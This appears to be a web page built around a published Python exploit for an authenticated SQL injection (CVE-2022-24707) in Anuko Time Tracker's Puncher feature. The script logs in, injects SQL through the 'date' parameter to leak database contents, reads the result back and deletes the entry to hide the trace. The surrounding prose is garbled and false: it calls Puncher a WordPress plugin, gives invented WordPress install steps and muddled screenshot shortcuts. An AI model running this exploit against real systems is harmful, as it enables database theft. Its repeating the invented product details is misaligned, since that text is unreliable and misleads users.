Anuko Time Tracker has a feature where users can punch information. One of the features of this is that users can create PDF files of their time tracking results. To do this, users can export all the information from the time tracking application into a CSV file, and then use a third-party software to convert the CSV file into a PDF. One of the popular PDF conversion methods is Puncher. Puncher is a WordPress plugin that helps a website owner or user create a PDF file from their WordPress website.

Steps to reproduce the problem:

1. Open up Anuko Time Tracker and log in
2. Click on the "Create PDF" tab to get started
3. From the screen of instructions, click on "Get started now"
4. Follow the steps that follow to create a PDF file for your time tracking results
5. Close all windows except for Anuko Time Tracker

How to use Anuko Time Tracker to take screenshots

The process of taking a screenshot is relatively simple. If you want to take a screenshot of the entire window, simply use the print screen button located in the top-right corner of your keyboard. However, if you want to take a specific area of the application, simply move your mouse over an area that you want to capture and press Ctrl+Shift+4 on your keyboard. This will create a screenshot at the current location on your desktop. You can also press these same keys along with Ctrl+Alt+3 to take a screenshot at your main browser window.

Installation Instructions

To install Puncher, go to the WordPress admin panel and click on "Plugins" in the left sidebar.
Under "Add New," scroll down until you see "Puncher." Click on "Install Now" and search for it in the search bar. Once it is installed, click on "Activate" to activate it.
Once activated, go back to Plugin Manager's plugins list and find Puncher. Click on "Options." Here you will be able to customize your PDF creation settings.

Installation of Anuko Time Tracker and Puncher

Anuko Time Tracker can be downloaded from the Anuko website. Once installed, users will need to enter their WordPress credentials (username and password) before they can start using it.

Know About Anuko Time Tracker

Anuko Time Tracker is a time tracking application. The application helps users manage their time and tasks by giving them several different tools and features. Users can create tasks, attach files, and give information to the application.
The most popular feature of this application is that users can export all the information from the time tracking application into a CSV file. They can then use a third-party software to convert the CSV file into a PDF. The first use case for this feature would be to print out an invoice for a client or client contact in order to show them how much time you spent on their project. This is helpful for keeping track of your billable hours, because you know exactly how long it takes you to do everything for your client. Another example would be if you were creating a spreadsheet with all your schedules for the week, which could help prevent scheduling conflicts among employees or stakeholders at work. It's also good if you need to send an invoice or confirmation email with the information from your time tracking software.
Anuko Time Tracker not only helps organizations organize their workflow but also helps individuals keep track of their time spent on projects or tasks!

Exploit

# Exploit Title: Anuko Time Tracker - SQLi (Authenticated)
# Date: 2022-05-03
# Exploit Author: Altelus
# Vendor Homepage: https://www.anuko.com/
# Software Link: https://github.com/anuko/timetracker/tree/0924ef499c2b0833a20c2d180b04fa70c6484b6d
# Version: Anuko Time Tracker 1.20.0.5640
# Tested on: Linux
# CVE : CVE-2022-24707

# An authenticated user can exploit an SQL Injection vulnerability on the Puncher plugin if its enabled.
# User has to start the puncher and stop it but upon stopping an additional parameter 'date' must be passed.
# The 'date' parameter is then injected with SQL payload for leaking database contents.


from time import time
import requests
import argparse
import re
from bs4 import BeautifulSoup
from datetime import datetime, timedelta




def get_puncher_page():

    punch_txt = r_client.get(host + "/puncher.php").text

    if "Feature is disabled" in punch_txt:
        print("[-] Puncher feature is disabled.")
        exit(0)

    print("[+] Puncher feature is enabled. Picking a project...")

    soup = BeautifulSoup(punch_txt, features="lxml")
    time_record_form = soup.find("select", {"name" : "project", "id" : "project"})

    project_list = time_record_form.findAll("option")

    if len(project_list) <= 1:
        print("[-] No project to choose from")
        exit(0)

    f_proj = project_list[1]

    print("[*] Picking the first project in the option: [{} - {}]".format(f_proj['value'], f_proj.text))

    return f_proj['value']


def login(username, password):

    global r_client

    data = {
        "login" : username,
        "password" : password,
        "btn_login" : "Login",
    }


    login_txt = r_client.post(host + "/login.php", data=data).text
    if "Incorrect" in login_txt:
        print("[-] Failed to login. Credentials are not correct.")
        exit(0)

    print("[+] Login successful!")


def start_puncher(project_id):

    global r_client
    
    data = {
        "project": project_id,
        "btn_start": "Start",
        "browser_today" : "",
        "browser_time" : "04:00",
        "date": "{}-{}-{}".format(date.year, date.month, date.day)
    }


    headers = {
        "Referer" : host + "/puncher.php"
    }

    start_p = r_client.post(host + "/puncher.php", data=data, headers=headers).text

    if "Uncompleted entry already" in start_p:
        print("[-] A running puncher entry is seen. Exiting")
        exit(0)
    
    print("[*] Puncher started. Getting id added...")

    puncher_p = r_client.get(host + "/puncher.php?date={}-{}-{}".format(date.year, date.month, date.day)).text

    time_edit_ids = re.findall("time_edit.php\?id=\d+",puncher_p)
    time_edit_ids.sort()

    latest_id = time_edit_ids[-1].split("=")[1]

    return latest_id


def stop_puncher_sqli(project_id, sqli=""):
    
    get_all_tables = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()"

    if sqli == "":
        sqli = get_all_tables

    new_date = date+timedelta(minutes=10)

    data = {
        "btn_stop": "Stop",
        "browser_today" : "",
        "browser_time" : "04:10",
        "date": "{}-{}-{}', comment=(({})), date='{}-{}-{}".format(date.year, date.month, date.day, sqli, date.year, date.month, date.day)
    }

    headers = {
        "Referer" : host + "/puncher.php"
    }

    stop_p = r_client.post(host + "/puncher.php", data=data, headers=headers,allow_redirects=False).text

    print("[*] Puncher stopped")

def get_puncher_result(puncher_id):
    
    time_edit_p = r_client.get(host + "/time_edit.php?id={}".format(puncher_id)).text

    soup = BeautifulSoup(time_edit_p, features="lxml")
    note_content = soup.find("textarea", {"name" : "note", "id" : "note"})

    print("[+] Leaked: {}".format(note_content.text))


def delete_puncher_entry(puncher_id):
    
    data = {
        "delete_button" : "Delete",
        "id" : puncher_id
    }

    headers = {
        "Referer" : "http://10.0.2.15/time_delete.php?id={}".format(puncher_id)
    }

    del_p = r_client.post(host + "/time_delete.php?id={}".format(puncher_id), data=data, headers=headers)

    print("[*] Puncher {} deleted".format(puncher_id))


parser = argparse.ArgumentParser()

parser.add_argument('--username', required=True, help="Anuko Timetracker username")
parser.add_argument('--password', required=True, help="Anuko Timetracker password")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--sqli', required=False, help="SQL query to run. Defaults to getting all tables")
args = parser.parse_args()

r_client = requests.Session()
host = args.host
date = datetime.now()

username = args.username
password = args.password

login(username, password)
proj_id = get_puncher_page()
puncher_id = start_puncher(proj_id)

sqli=""

if args.sqli != None:
    sqli = args.sqli

stop_puncher_sqli(proj_id, sqli=sqli)
get_puncher_result(puncher_id)
delete_puncher_entry(puncher_id)

Timeline

Published on: 02/24/2022 16:15:00 UTC
Last modified on: 05/12/2022 19:36:00 UTC

References